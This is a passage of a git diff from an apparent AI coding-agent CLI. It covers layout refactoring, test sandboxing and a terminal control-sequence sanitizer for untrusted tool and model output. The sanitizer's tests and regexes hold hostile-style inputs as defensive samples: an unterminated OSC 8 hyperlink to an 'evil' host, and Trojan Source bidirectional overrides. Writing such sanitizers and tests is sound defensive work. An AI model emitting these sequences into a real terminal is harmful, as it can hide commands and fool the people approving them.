-function cellWidth(node: ViewNode): number { - const line = renderCell(node, 1000); +function cellWidth(node: ViewNode, palette: ViewPalette): number { + const line = renderCell(node, 1000, palette); return line.reduce((n, s) => n + s.text.length, 0); } @@ -41,12 +51,16 @@ function padSegments(segments: StyledLine, width: number, align: "left" | "right // Lay a view node out as flat styled lines, one per visual row. This is the // single source of truth for view layout: the event log slices these by line so // a tall view is cut at the viewport edge rather than overpainting past it. -export function viewToLines(node: ViewNode, columns: number): StyledLine[] { +export function viewToLines( + node: ViewNode, + columns: number, + palette: ViewPalette = color, +): StyledLine[] { const available = Math.max(8, columns - PAD); switch (node.type) { case "divider": - return [[colored("─".repeat(available), "muted")]]; + return [[colored("─".repeat(available), "muted", palette)]]; case "text": { const role = toneRole(node.tone); @@ -54,14 +68,14 @@ export function viewToLines(node: ViewNode, columns: number): StyledLine[] { ...(node.bold ? { bold: true } : {}), ...(node.dim ? { dim: true } : {}), }; - return wrapLines(node.text, available).map((row) => [colored(row, role, extra)]); + return wrapLines(node.text, available).map((row) => [colored(row, role, palette, extra)]); } case "stack": { const lines: StyledLine[] = []; node.children.forEach((child, i) => { if (node.gap === 1 && i > 0) lines.push([]); - lines.push(...viewToLines(child, columns)); + lines.push(...viewToLines(child, columns, palette)); }); return lines; } @@ -69,7 +83,7 @@ export function viewToLines(node: ViewNode, columns: number): StyledLine[] { case "row": { if (node.children.length === 0) return [[]]; // Render children as inline segments on a single row. Use first line of each. - const parts: StyledLine[] = node.children.map((c) => renderCell(c, available)); + const parts: StyledLine[] = node.children.map((c) => renderCell(c, available, palette)); const out: StyledLine = []; const gapSeg = { text: " ".repeat(node.gap ?? 0) }; parts.forEach((p, i) => { @@ -81,17 +95,17 @@ export function viewToLines(node: ViewNode, columns: number): StyledLine[] { case "box": { const innerWidth = Math.max(4, available - (node.border ? 2 : 0) - (node.padding ? 2 : 0) * 2); - const inner = node.children.flatMap((c) => viewToLines(c, innerWidth + PAD)); + const inner = node.children.flatMap((c) => viewToLines(c, innerWidth + PAD, palette)); if (!node.border && !node.padding) return inner; const out: StyledLine[] = []; const border = "─".repeat(Math.max(1, innerWidth)); - if (node.border) out.push([colored(`┌${border}┐`, "muted")]); + if (node.border) out.push([colored(`┌${border}┐`, "muted", palette)]); const pad = node.padding ? " ".repeat(node.padding) : ""; for (const ln of inner) { const content = ln.map((s) => ({ ...s })); - out.push([colored(pad, undefined), ...content, colored(pad, undefined)]); + out.push([colored(pad, undefined, palette), ...content, colored(pad, undefined, palette)]); } - if (node.border) out.push([colored(`└${border}┘`, "muted")]); + if (node.border) out.push([colored(`└${border}┘`, "muted", palette)]); return out; } @@ -106,7 +120,7 @@ export function viewToLines(node: ViewNode, columns: number): StyledLine[] { let w = 0; for (const row of allRows) { const cell = row[c]; - if (cell) w = Math.max(w, cellWidth(cell)); + if (cell) w = Math.max(w, cellWidth(cell, palette)); } natural.push(Math.min(40, Math.max(1, w))); // cap like before } @@ -129,7 +143,7 @@ export function viewToLines(node: ViewNode, columns: number): StyledLine[] { const segs: StyledLine = []; for (let i = 0; i < cells.length; i++) { const cellNode = cells[i]!; - const cellLine = renderCell(cellNode, widths[i]!); + const cellLine = renderCell(cellNode, widths[i]!, palette); const align = (cols[i]?.align ?? "left") as "left" | "right" | "center"; const padded = padSegments(cellLine, widths[i]!, align); segs.push(...padded); @@ -138,7 +152,9 @@ export function viewToLines(node: ViewNode, columns: number): StyledLine[] { lines.push(segs); } if (node.rows.length > allRows.length) { - lines.push([colored(`+${node.rows.length - allRows.length} more`, "muted", { dim: true })]); + lines.push([ + colored(`+${node.rows.length - allRows.length} more`, "muted", palette, { dim: true }), + ]); } return lines; } diff --git a/src/util/alt-screen.ts b/src/util/alt-screen.ts deleted file mode 100644 index c88c65e80..000000000 --- a/src/util/alt-screen.ts +++ /dev/null @@ -1,11 +0,0 @@ -export function enterAltScreen(): () => void { - const exitAltScreen = (): void => { - process.stdout.write("\x1b[?1049l"); - }; - process.stdout.write("\x1b[?1049h"); - process.once("exit", exitAltScreen); - return (): void => { - process.removeListener("exit", exitAltScreen); - exitAltScreen(); - }; -} diff --git a/src/util/control-char-strip.test.ts b/src/util/control-char-strip.test.ts index 4e2779ed7..c6c810a31 100644 --- a/src/util/control-char-strip.test.ts +++ b/src/util/control-char-strip.test.ts @@ -26,4 +26,29 @@ describe("stripTerminalControlSequences", () => { const text = "no control sequences here, just [brackets] and text"; expect(stripTerminalControlSequences(text)).toBe(text); }); + + test("removes bidirectional overrides and isolates (Trojan Source)", () => { + const text = "safe\u202eevil\u202c and \u2066iso\u2069late"; + expect(stripTerminalControlSequences(text)).toBe("safeevil and isolate"); + }); + + test("replaces line and paragraph separators with a space", () => { + const text = "a\u2028b\u2029c"; + expect(stripTerminalControlSequences(text)).toBe("a b c"); + }); + + test("removes an unterminated OSC sequence through end of text", () => { + const text = "before \x1b]8;;http://evil"; + expect(stripTerminalControlSequences(text)).toBe("before "); + }); + + test("keeps an orphan ESC byte from leaking as visible text", () => { + const text = "a\x1bb\x1b"; + expect(stripTerminalControlSequences(text)).toBe("a"); + }); + + test("leaves markdown punctuation untouched", () => { + const text = "**bold** `code` [link](url) _em_ | table |"; + expect(stripTerminalControlSequences(text)).toBe(text); + }); }); diff --git a/src/util/control-char-strip.ts b/src/util/control-char-strip.ts index 5bb62cd30..9138b18c9 100644 --- a/src/util/control-char-strip.ts +++ b/src/util/control-char-strip.ts @@ -1,16 +1,21 @@ -// Strip terminal control sequences from untrusted tool output before it can -// reach the renderer. A compromised MCP server or a tool reading attacker -// -controlled file content can return bytes that, if painted raw, move the -// cursor, rewrite the scrollback, or fire OSC 52 clipboard/OSC 8 hyperlink -// side effects. Tool results are rendered as plain text, so none of this is -// "intentionally-emitted styling" — that only happens in the app's own -// renderer layer (see src/tui/osc8.ts, src/util/alt-screen.ts), which this +// Strip terminal control sequences from untrusted text before it can reach the +// renderer. A compromised MCP server, a tool reading attacker-controlled file +// content, or a model reproducing an injected payload in its own reply can +// return bytes that, if painted raw, move the cursor, rewrite the scrollback, +// or fire OSC 52 clipboard/OSC 8 hyperlink side effects. Such text is rendered +// as plain text, so none of this is "intentionally-emitted styling" — that only +// happens in the app's own renderer layer (see src/tui/osc8.ts), which this // sanitizer never touches. // String-type sequences (OSC, DCS, PM, APC) run until the ST terminator // (ESC \) or, conventionally for OSC, BEL (\x07). const STRING_SEQUENCE = /\x1b[\]P^_][\s\S]*?(?:\x07|\x1b\\)/g; +// An unterminated string sequence never ends, so its payload would otherwise +// leak as visible text once the introducer bytes are stripped, and a terminator +// arriving from a later concatenation would arm it. Drop it through end of text. +const UNTERMINATED_STRING_SEQUENCE = /\x1b[\]P^_][\s\S]*$/; + // CSI: ESC [, parameter bytes 0x30-0x3F, intermediate bytes 0x20-0x2F, final // byte 0x40-0x7E. const CSI_SEQUENCE = /\x1b\[[0-?]*[ -/]*[@-~]/g; @@ -19,6 +24,21 @@ const CSI_SEQUENCE = /\x1b\[[0-?]*[ -/]*[@-~]/g; // select, RIS, etc.) not already covered above. const OTHER_ESCAPE = /\x1b[0-9A-Za-z=><]/g; +// Bidirectional overrides and isolates (Trojan Source). These reorder the +// glyphs a reader sees without changing the underlying bytes, so a filename or +// a command in a permission approval overlay can read as one thing and run as +// another. They are removed outright rather than replaced with a visible +// marker: the reordering is the payload, so deleting it restores agreement +// between logical order and painted order, which is exactly what the operator +// must be able to trust. A marker would preserve the deception risk by +// tempting the reader to mentally re-insert what was removed. +const BIDI_CONTROLS = /[\u202a-\u202e\u2066-\u2069]/g; + +// U+2028/U+2029 are not "\n", so line-count math ignores them while some +// renderers break lines on them — computed height then disagrees with painted +// height. Normalizing to a space keeps the character count of the row honest. +const LINE_PARAGRAPH_SEPARATORS = /[\u2028\u2029]/g; + // C0 controls other than the whitespace worth keeping (tab, newline, // carriage return), plus the C1 range and the standalone DEL byte. const C0_C1_CONTROLS = /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f\x80-\x9f]/g; @@ -26,7 +46,43 @@ const C0_C1_CONTROLS = /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f\x80-\x9f]/g; export function stripTerminalControlSequences(text: string): string { return text .replace(STRING_SEQUENCE, "") + .replace(UNTERMINATED_STRING_SEQUENCE, "") .replace(CSI_SEQUENCE, "") .replace(OTHER_ESCAPE, "") + .replace(BIDI_CONTROLS, "") + .replace(LINE_PARAGRAPH_SEPARATORS, " ") .replace(C0_C1_CONTROLS, ""); } + +// A complete escape sequence anchored at the start of the text. +const COMPLETE_SEQUENCE_AT_START = + /^(?:\x1b[\]P^_][\s\S]*?(?:\x07|\x1b\\)|\x1b\[[0-?]*[ -/]*[@-~]|\x1b[0-9A-Za-z=><])/; + +// Beyond this, a "sequence" is treated as junk and sanitized rather than held: +// an unterminated OSC must not let an attacker buffer the transcript forever. +const MAX_HELD_CHARS = 256; + +/** + * Split streamed text into the part safe to sanitize now and a tail that may + * still be the beginning of something. Sanitizing stream fragments + * independently would miss an escape sequence straddling a fragment boundary, + * so the tail is carried into the next fragment instead. + */ +export function splitPendingControlTail(text: string): readonly [string, string] { + let end = text.length; + // A lone high surrogate is half of a character; joining it to the next + // fragment is what makes the pair render at all. + const last = text.charCodeAt(end - 1); + if (last >= 0xd800 && last <= 0xdbff) end -= 1; + + const head = text.slice(0, end); + const escape = head.lastIndexOf("\x1b"); + if ( + escape >= 0 && + head.length - escape <= MAX_HELD_CHARS && + !COMPLETE_SEQUENCE_AT_START.test(head.slice(escape)) + ) { + return [head.slice(0, escape), text.slice(escape)]; + } + return [head, text.slice(end)]; +} diff --git a/tests/preload.ts b/tests/preload.ts new file mode 100644 index 000000000..bb59cc650 --- /dev/null +++ b/tests/preload.ts @@ -0,0 +1,43 @@ +// Test preload: normalize the ambient environment before any test file loads. +// +// Tests that read state they never set pass on a developer machine and fail on +// a runner. Clearing the variables here makes that coupling fail immediately and +// locally instead: a test that needs COLORTERM must set COLORTERM. +// +// The home directory deliberately is not sandboxed here. Bun snapshots +// os.homedir() at process start, so assigning HOME from a preload has no effect +// on the code under test; a test that resolves home-level state must take the +// explicit `home` / `--config` override the production API already exposes. + +import { spawnSync } from "node:child_process"; + +// Terminal capability probes: a developer terminal sets these, a runner does not. +const AMBIENT_TERMINAL_VARS = ["COLORTERM", "TERM_PROGRAM", "TERM_PROGRAM_VERSION"]; + +// Eval harness plumbing that leaks between files when a test forgets to restore it. +const AMBIENT_HARNESS_VARS = ["EVAL_HTTP_URL"]; + +for (const key of [...AMBIENT_TERMINAL_VARS, ...AMBIENT_HARNESS_VARS]) { + delete process.env[key]; +} + +for (const key of Object.keys(process.env)) { + if (key.startsWith("CORBITS_")) delete process.env[key]; +} + +// No test may export telemetry or write an installationId into a real global +// settings file, regardless of which code path a test happens to reach. +process.env.CORBITS_TELEMETRY = "0"; +process.env.DO_NOT_TRACK = "1"; + +// An absent dependency must be loud. Without ripgrep the grep and search tools +// silently fall back to the TypeScript walker and the suite passes while the +// ripgrep path goes untested — exactly how a broken CI run stayed green. +const rg = spawnSync("rg", ["--version"], { stdio: "ignore" }); +if (rg.error !== undefined || rg.status !== 0) { + throw new Error( + "ripgrep (rg) is required to run the test suite: the grep/search tools have " + + "a ripgrep path and a fallback path, and without rg only the fallback is " + + "exercised. Install it (brew install ripgrep / apt-get install ripgrep).", + ); +} diff --git a/tests/setup/tui-preload.ts b/tests/setup/tui-preload.ts deleted file mode 100644 index dbffd2076..000000000 --- a/tests/setup/tui-preload.ts +++ /dev/null @@ -1,18 +0,0 @@ -import { mock } from "bun:test"; -import { loadYoga } from "yoga-layout/load"; - -// Under `bun test --isolate`, each test file re-evaluates its module graph -// in a fresh global. yoga-layout's default entry point resolves its WASM -// binding through a cyclic import (index.js awaits its loader while also -// re-exporting from a module its own loader depends on) using a top-level -// await; that cyclic TLA races ink's static import of it in the fresh -// graph, leaving `Yoga` in its temporal dead zone (see -// https://github.com/oven-sh/bun/issues/30651). The "yoga-layout/load" -// entry point has no such top-level await — `loadYoga` is a plain async -// function — so mocking the default entry point onto it sidesteps the race. -// The mock factory must be registered without any preceding `await` in this -// file, or the registration itself is discarded by the isolate reset. -mock.module("yoga-layout", async () => { - const Yoga = await loadYoga(); - return { default: Yoga, ...Yoga }; -}); diff --git a/tests/unit/config.test.ts b/tests/unit/config.test.ts index 1a19ea2c3..0c09975ef 100644 --- a/tests/unit/config.test.ts +++ b/tests/unit/config.test.ts @@ -125,6 +125,7 @@ test("loadSettings cannot silently drop a known optional key", async () => { workflowProfiles: { default: { implement: "m" } }, plugins: { "plug-a": { enabled: true } }, pluginPaths: ["/tmp/plugin"], + hooks: { "/tmp/hook.ts": { enabled: false } }, discoverClaudePlugins: true, web: "plug-a", hiddenCommands: ["/help"], diff --git a/tests/unit/hooks.test.ts b/tests/unit/hooks.test.ts index e2730b023..c18c45b25 100644 --- a/tests/unit/hooks.test.ts +++ b/tests/unit/hooks.test.ts @@ -231,6 +231,26 @@ test("createLifecycleHookManager can disable hooks per run", async () => { expect(manager.getStatuses()[0]?.lastFiredAt).toBeUndefined(); }); +test("createLifecycleHookManager seeds enabled from initialEnabled, defaulting to true when absent", async () => { + const dir = await mkdtemp(join(tmpdir(), "interchange-hooks-")); + const a = join(dir, "a.sh"); + const b = join(dir, "b.sh"); + await writeFile(a, "true\n"); + await writeFile(b, "true\n"); + + const manager = createLifecycleHookManager({ + hooks: [ + { id: a, name: "a.sh", type: "shell", path: a }, + { id: b, name: "b.sh", type: "shell", path: b }, + ], + initialEnabled: { [a]: false }, + }); + + const statuses = manager.getStatuses(); + expect(statuses.find((s) => s.id === a)?.enabled).toBe(false); + expect(statuses.find((s) => s.id === b)?.enabled).toBe(true); +}); + test("createLifecycleHookManager waits for postRun hooks to finish", async () => { const dir = await mkdtemp(join(tmpdir(), "interchange-hooks-")); const outputPath = join(dir, "output.json"); diff --git a/tests/unit/index.test.ts b/tests/unit/index.test.ts index 2b3941770..2e97c8544 100644 --- a/tests/unit/index.test.ts +++ b/tests/unit/index.test.ts @@ -1,17 +1,76 @@ -import { test, expect, mock } from "bun:test"; +import { test, expect, mock, beforeEach, afterEach } from "bun:test"; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import type { Config } from "../../src/config/index.js"; +import { + resetPricingMetadataRefreshForTests, + schedulePricingMetadataRefresh, +} from "../../src/cost/pricing-metadata.js"; import { mainWithRunners } from "../../src/index.js"; const envVars = { // Unit tests must never export telemetry or write an installationId into // the developer's real global settings file. CORBITS_TELEMETRY: "0", - OPENAI_COMPATIBLE_API_KEY: "test-key", - OPENAI_COMPATIBLE_BASE_URL: "http://localhost:1234", - OPENAI_COMPATIBLE_MODEL: "test-model", - OPENAI_COMPATIBLE_PROVIDER_NAME: "test-provider", }; +// Configuration resolution reads a settings file and the local settings file +// under the run cwd. Both are pinned to a temp sandbox (--config and --cwd) so +// the run is identical on a developer machine and on a clean runner: os.homedir() +// is snapshotted at process start in Bun, so mutating HOME here would not work. +// --config also suppresses the home-level OAuth profile merge. +let sandbox: string; + +function writeSandboxSettings(root: string): void { + const settingsDir = join(root, "home", ".corbits"); + mkdirSync(settingsDir, { recursive: true }); + writeFileSync( + join(settingsDir, "settings.json"), + JSON.stringify({ + providers: { + "test-provider": { + baseURL: "http://localhost:1234", + apiKey: "test-key", + models: ["test-model"], + defaultModel: "test-model", + }, + }, + defaultProvider: "test-provider", + }), + ); + mkdirSync(join(root, "project"), { recursive: true }); +} + +beforeEach(() => { + sandbox = mkdtempSync(join(tmpdir(), "corbits-index-test-")); + writeSandboxSettings(sandbox); + // Claim the one-shot pricing refresh guard with a sandboxed cache and a + // fetch that never fires, so loadConfig's bootstrap cannot reach the network + // or write into the real home cache directory. + resetPricingMetadataRefreshForTests(); + schedulePricingMetadataRefresh({ + cachePath: join(sandbox, "home", ".corbits", "cache", "models-pricing.json"), + fetchImpl: () => Promise.reject(new Error("network disabled in tests")), + }); +}); + +afterEach(() => { + rmSync(sandbox, { recursive: true, force: true }); +}); + +// The subcommand must stay at argv[0]; flags go after it. +function sandboxArgs(subcommand: readonly string[], rest: readonly string[] = []): string[] { + return [ + ...subcommand, + "--cwd", + join(sandbox, "project"), + "--config", + join(sandbox, "home", ".corbits", "settings.json"), + ...rest, + ]; +} + async function withEnv(fn: () => void | Promise): Promise { const original: Record = {}; for (const [key, value] of Object.entries(envVars)) { @@ -22,7 +81,8 @@ async function withEnv(fn: () => void | Promise): Promise { await fn(); } finally { for (const [key, value] of Object.entries(original)) { - process.env[key] = value; + if (value === undefined) delete process.env[key]; + else process.env[key] = value; } } } @@ -32,7 +92,7 @@ test("main launches TUI when configured", async () => { const runTUI = mock((_config: Config) => Promise.resolve(0)); const runExec = mock((_config: Config) => Promise.resolve(0)); const runOnboarding = mock(() => Promise.resolve(0)); - const code = await mainWithRunners([], { + const code = await mainWithRunners(sandboxArgs([]), { runTUI, runExec, runOnboarding, @@ -48,7 +108,7 @@ test("main launches exec when configured with exec subcommand", async () => { const runTUI = mock((_config: Config) => Promise.resolve(0)); const runExec = mock((_config: Config) => Promise.resolve(0)); const runOnboarding = mock(() => Promise.resolve(0)); - const code = await mainWithRunners(["exec", "say hello"], { + const code = await mainWithRunners(sandboxArgs(["exec"], ["say hello"]), { runTUI, runExec, runOnboarding, @@ -67,7 +127,7 @@ test("main launches exec for run alias", async () => { const runTUI = mock((_config: Config) => Promise.resolve(0)); const runExec = mock((_config: Config) => Promise.resolve(0)); const runOnboarding = mock(() => Promise.resolve(0)); - const code = await mainWithRunners(["run", "do the thing"], { + const code = await mainWithRunners(sandboxArgs(["run"], ["do the thing"]), { runTUI, runExec, runOnboarding, diff --git a/tests/unit/mcp-tool-name.test.ts b/tests/unit/mcp-tool-name.test.ts index a794de405..a880234b7 100644 --- a/tests/unit/mcp-tool-name.test.ts +++ b/tests/unit/mcp-tool-name.test.ts @@ -13,9 +13,27 @@ describe("MCP tool name helpers", () => { expect(parseMcpToolName("mcp__only")).toBeNull(); }); - test("humanizes to 'Server: tool name'", () => { - expect(humanizeMcpTool("mcp__acme__list_widgets")).toBe("Acme: list widgets"); - expect(humanizeMcpTool("mcp__example__create_item")).toBe("Example: create item"); + test("humanizes to 'Server: Tool Name'", () => { + expect(humanizeMcpTool("mcp__acme__list_widgets")).toBe("Acme: List Widgets"); + expect(humanizeMcpTool("mcp__example__create_item")).toBe("Example: Create Item"); + }); + + test("title-cases a single-word tool", () => { + expect(humanizeMcpTool("mcp__acme__ping")).toBe("Acme: Ping"); + }); + + test("handles a server with digits and hyphens", () => { + expect(humanizeMcpTool("mcp__acme-2__list_widgets")).toBe("Acme-2: List Widgets"); + }); + + test("does not repeat the server when a tool name carries it as a suffix or prefix", () => { + expect(humanizeMcpTool("mcp__exa__web_search_exa")).toBe("Exa: Web Search"); + expect(humanizeMcpTool("mcp__exa__exa_crawl")).toBe("Exa: Crawl"); + }); + + test("falls back to the raw name when it does not match the mcp__server__tool shape", () => { + expect(humanizeMcpTool("mcp__only")).toBe("mcp__only"); + expect(humanizeMcpTool("read_file")).toBe("read_file"); }); }); diff --git a/tests/unit/ripgrep-plugin.test.ts b/tests/unit/ripgrep-plugin.test.ts index 23717fc99..1fc9d7f5d 100644 --- a/tests/unit/ripgrep-plugin.test.ts +++ b/tests/unit/ripgrep-plugin.test.ts @@ -6,7 +6,9 @@ import type { ToolCall, ToolResult } from "@intx/types/runtime"; import { ripgrepPlugin } from "../../src/plugins/ripgrep-plugin.js"; -const cwd = process.cwd(); +// Repo root derived from this file, not process.cwd(): these cases search real +// repo paths, so they must not depend on where the runner was invoked from. +const cwd = join(import.meta.dirname, "../.."); const fallback = async (): Promise => ({ callId: "c", content: "FALLBACK", isError: true }); function run( @@ -80,6 +82,34 @@ test("grep returns partial matches when the output byte cap is hit", async () => }); }); +// Hosts without ripgrep take the pure-TypeScript walker instead, and the cap has +// to hold there too — a CI runner with no `rg` is how this went unnoticed. +async function withoutRipgrep(body: () => Promise): Promise { + const path = process.env.PATH; + process.env.PATH = ""; + try { + await body(); + } finally { + process.env.PATH = path; + } +} + +test("the output byte cap holds when ripgrep is unavailable", async () => { + await withTempDir(async (dir) => { + await writeFile(join(dir, "big.txt"), "match line here\n".repeat(5000)); + await withoutRipgrep(async () => { + const result = await run( + { id: "c", name: "grep", arguments: { pattern: "match", path: dir, max_results: 5000 } }, + { maxOutputBytes: 200 }, + ); + expect(result.isError).toBeUndefined(); + expect(result.content).toContain("match line here"); + expect(result.content).toContain("exceeded 200 bytes"); + expect(result.content.length).toBeLessThan(400); + }); + }); +}); + test("grep returns partial matches when the timeout fires", async () => { const result = await run( { id: "c", name: "grep", arguments: { pattern: "e", path: "src" } }, diff --git a/tests/unit/tui/agents-strip.test.ts b/tests/unit/tui/agents-strip.test.ts deleted file mode 100644 index 60523d102..000000000 --- a/tests/unit/tui/agents-strip.test.ts +++ /dev/null @@ -1,296 +0,0 @@ -import { describe, expect, test } from "bun:test"; - -import { - activeStripSessions, - agentsStripRowColor, - agentsStripRowCount, - computeAgentsStripWindow, - DEFAULT_STRIP_MAX_VISIBLE, - formatSessionLabel, - mergeInFlightSubAgents, - orderStripSessions, - shouldShowAgentsStrip, -} from "../../../src/tui/components/agents-strip.js"; -import type { Task } from "../../../src/agent/tasks.js"; -import type { - SubAgentSession, - SubAgentSessionStatus, - SubAgentTranscriptEntry, -} from "../../../src/subagent/session-store.js"; -import { color } from "../../../src/tui/theme.js"; - -describe("agentsStripRowCount", () => { - test("no sessions reserves no rows", () => { - expect(agentsStripRowCount(0, DEFAULT_STRIP_MAX_VISIBLE)).toBe(0); - }); - - test("below the cap reserves header plus one row per session", () => { - expect(agentsStripRowCount(3, DEFAULT_STRIP_MAX_VISIBLE)).toBe(1 + 3); - }); - - test("above the cap stays bounded and adds a single overflow row", () => { - // 20 retained sessions must not reserve 20 rows; the strip caps and folds - // the remainder into one overflow line. - expect(agentsStripRowCount(20, DEFAULT_STRIP_MAX_VISIBLE)).toBe( - 1 + DEFAULT_STRIP_MAX_VISIBLE + 1, - ); - }); -}); - -describe("computeAgentsStripWindow", () => { - test("centers the selection when browsing a long list", () => { - const w = computeAgentsStripWindow(30, 20, DEFAULT_STRIP_MAX_VISIBLE); - expect(w.start).toBeLessThanOrEqual(20); - expect(w.end - w.start).toBe(DEFAULT_STRIP_MAX_VISIBLE); - expect(w.hiddenBelow).toBe(30 - w.end); - }); -}); - -describe("activeStripSessions", () => { - const session = (id: string, status: SubAgentSessionStatus): SubAgentSession => ({ - id, - description: id, - agentId: "agent", - brief: "", - status, - toolNames: [], - currentToolName: null, - entries: [], - startedAt: 0, - }); - - test("keeps only running sessions, dropping done, failed, and cancelled", () => { - const sessions = [ - session("live", "running"), - session("finished", "done"), - session("broke", "failed"), - session("killed", "cancelled"), - ]; - - expect(activeStripSessions(sessions).map((s) => s.id)).toEqual(["live"]); - }); - - test("returns nothing once every session is terminal", () => { - expect( - activeStripSessions([ - session("a", "done"), - session("b", "failed"), - session("c", "cancelled"), - ]), - ).toEqual([]); - }); - - test("reports N running sessions in the chrome strip while all are active", () => { - const n = 5; - const running = activeStripSessions( - Array.from({ length: n }, (_, i) => session(`worker-${i}`, "running")), - ); - expect(running).toHaveLength(n); - expect(running.map((s) => s.id)).toEqual( - Array.from({ length: n }, (_, i) => `worker-${i}`), - ); - }); -}); - -describe("mergeInFlightSubAgents", () => { - const session = (id: string, status: SubAgentSessionStatus): SubAgentSession => ({ - id, - description: id, - agentId: "agent", - brief: "", - status, - toolNames: [], - currentToolName: null, - entries: [], - startedAt: 0, - }); - - test("surfaces N parallel sub-agents from parent stream when the store is empty", () => { - const tasks: Task[] = Array.from({ length: 3 }, (_, i) => ({ - id: `call-${i}`, - title: `worker: job ${i}`, - status: "doing", - })); - const chrome = activeStripSessions(mergeInFlightSubAgents([], tasks)); - expect(chrome).toHaveLength(3); - expect(chrome.map((s) => s.id)).toEqual(["call-0", "call-1", "call-2"]); - }); - - test("keeps the session-store row when the same id is already running", () => { - const store = [{ ...session("call-1", "running"), description: "from store" }]; - const tasks: Task[] = [{ id: "call-1", title: "worker: from task", status: "doing" }]; - const merged = mergeInFlightSubAgents(store, tasks); - expect(merged.find((s) => s.id === "call-1")?.description).toBe("from store"); - }); - - test("does not resurrect a terminal store session when parent task still shows doing", () => { - const store = [session("call-1", "done")]; - const tasks: Task[] = [{ id: "call-1", title: "worker: lagging", status: "doing" }]; - const chrome = activeStripSessions(mergeInFlightSubAgents(store, tasks)); - expect(chrome).toHaveLength(0); - }); - - test("parses tool suffix from live progress titles", () => { - const tasks: Task[] = [ - { id: "c1", title: "researcher: scan repo · grep", status: "doing" }, - ]; - const chrome = activeStripSessions(mergeInFlightSubAgents([], tasks)); - expect(chrome[0]?.currentToolName).toBe("grep"); - expect(chrome[0]?.agentId).toBe("researcher"); - }); - - test("keeps nested children adjacent under their parent after merge", () => { - const store: SubAgentSession[] = [ - { ...session("child-b", "running"), parentSessionId: "orch", startedAt: 3 }, - { ...session("solo", "running"), startedAt: 2 }, - { ...session("orch", "running"), startedAt: 1 }, - { ...session("child-a", "running"), parentSessionId: "orch", startedAt: 4 }, - ]; - const ordered = mergeInFlightSubAgents(store, []).map((s) => s.id); - // Newest root first (solo @2 over orch @1), then orch's children by recency. - expect(ordered).toEqual(["solo", "orch", "child-a", "child-b"]); - }); -}); - -describe("orderStripSessions", () => { - const session = ( - id: string, - status: SubAgentSessionStatus, - startedAt: number, - parentSessionId?: string, - ): SubAgentSession => ({ - id, - description: id, - agentId: "agent", - brief: "", - status, - toolNames: [], - currentToolName: null, - entries: [], - startedAt, - ...(parentSessionId !== undefined ? { parentSessionId } : {}), - }); - - test("groups one-hop children under their parent for tree glyphs", () => { - const ordered = orderStripSessions([ - session("leaf-2", "running", 30, "parent"), - session("other", "running", 20), - session("parent", "running", 10), - session("leaf-1", "done", 40, "parent"), - ]); - expect(ordered.map((s) => s.id)).toEqual(["other", "parent", "leaf-2", "leaf-1"]); - }); - - test("treats orphan parentSessionId as a root when parent is absent", () => { - const ordered = orderStripSessions([ - session("orphan", "running", 5, "missing"), - session("root", "running", 1), - ]); - expect(ordered.map((s) => s.id)).toEqual(["orphan", "root"]); - }); -}); - -describe("shouldShowAgentsStrip", () => { - const running = (id: string): SubAgentSession => ({ - id, - description: id, - agentId: "agent", - brief: "", - status: "running", - toolNames: [], - currentToolName: null, - entries: [], - startedAt: 0, - }); - - test("shows chrome when at least one running worker is visible", () => { - expect( - shouldShowAgentsStrip({ - chromeSessions: [running("a")], - browseSessions: [], - agentsNavOpen: false, - }), - ).toBe(true); - }); - - test("hides chrome when idle and agents-nav is closed", () => { - expect( - shouldShowAgentsStrip({ - chromeSessions: [], - browseSessions: [], - agentsNavOpen: false, - }), - ).toBe(false); - }); -}); - -describe("formatSessionLabel", () => { - const baseSession = (overrides: Partial = {}): SubAgentSession => ({ - id: "s1", - description: "researching things", - agentId: "researcher", - brief: "", - status: "running", - toolNames: [], - currentToolName: null, - entries: [], - startedAt: 0, - ...overrides, - }); - - test("shows a tool argument preview while a tool call is in flight", () => { - const entries: SubAgentTranscriptEntry[] = [ - { kind: "tool", callId: "c1", name: "grep", arguments: '{"pattern":"foo","path":"src/tui"}' }, - ]; - const session = baseSession({ currentToolName: "grep", entries }); - expect(formatSessionLabel(session)).toContain("researcher: researching things — grep"); - }); - - test("falls back to the bare tool name when no argument summary is available", () => { - const session = baseSession({ currentToolName: "manage_tasks", entries: [] }); - expect(formatSessionLabel(session)).toBe( - "researcher: researching things — manage_tasks", - ); - }); - - test("clears the tool preview once the session is no longer running", () => { - const session = baseSession({ - status: "done", - currentToolName: null, - toolNames: ["grep", "read_file"], - finishedAt: 5_000, - }); - expect(formatSessionLabel(session)).toBe("researcher: researching things · 2 tools · 5s"); - }); - - test("shell tool preview leads with the command, not a redundant tool name", () => { - const entries: SubAgentTranscriptEntry[] = [ - { kind: "tool", callId: "c1", name: "run_shell", arguments: '{"command":"bun test"}' }, - ]; - const session = baseSession({ currentToolName: "run_shell", entries }); - expect(formatSessionLabel(session)).toBe("researcher: researching things — bun test"); - }); - - test("appends finished duration when finishedAt is set", () => { - const session = baseSession({ - status: "done", - currentToolName: null, - finishedAt: 65_000, - }); - expect(formatSessionLabel(session)).toBe("researcher: researching things · 1m 5s"); - }); -}); - -describe("agentsStripRowColor", () => { - test("status colours survive without glyphs; selection uses text", () => { - expect(agentsStripRowColor("running", { selected: false, entered: false })).toBe(color("text")); - expect(agentsStripRowColor("done", { selected: false, entered: false })).toBe(color("success")); - expect(agentsStripRowColor("failed", { selected: false, entered: false })).toBe(color("danger")); - expect(agentsStripRowColor("cancelled", { selected: false, entered: false })).toBe(color("muted")); - // Focus overrides status so the cursor/observe row stays readable. - expect(agentsStripRowColor("failed", { selected: true, entered: false })).toBe(color("text")); - expect(agentsStripRowColor("done", { selected: false, entered: true })).toBe(color("text")); - }); -}); - - diff --git a/tests/unit/tui/alt-screen.test.ts b/tests/unit/tui/alt-screen.test.ts deleted file mode 100644 index be8e850ea..000000000 --- a/tests/unit/tui/alt-screen.test.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { describe, it, expect, beforeEach, afterEach } from "bun:test"; -import { enterAltScreen } from "../../../src/util/alt-screen.js"; - -describe("enterAltScreen", () => { - let writes: string[]; - let onceListeners: Array<{ event: string; fn: (...args: unknown[]) => void }>; - let removedListeners: Array<{ event: string; fn: (...args: unknown[]) => void }>; - - const origWrite = process.stdout.write.bind(process.stdout); - const origOnce = process.once.bind(process); - const origRemoveListener = process.removeListener.bind(process); - - beforeEach(() => { - writes = []; - onceListeners = []; - removedListeners = []; - - process.stdout.write = 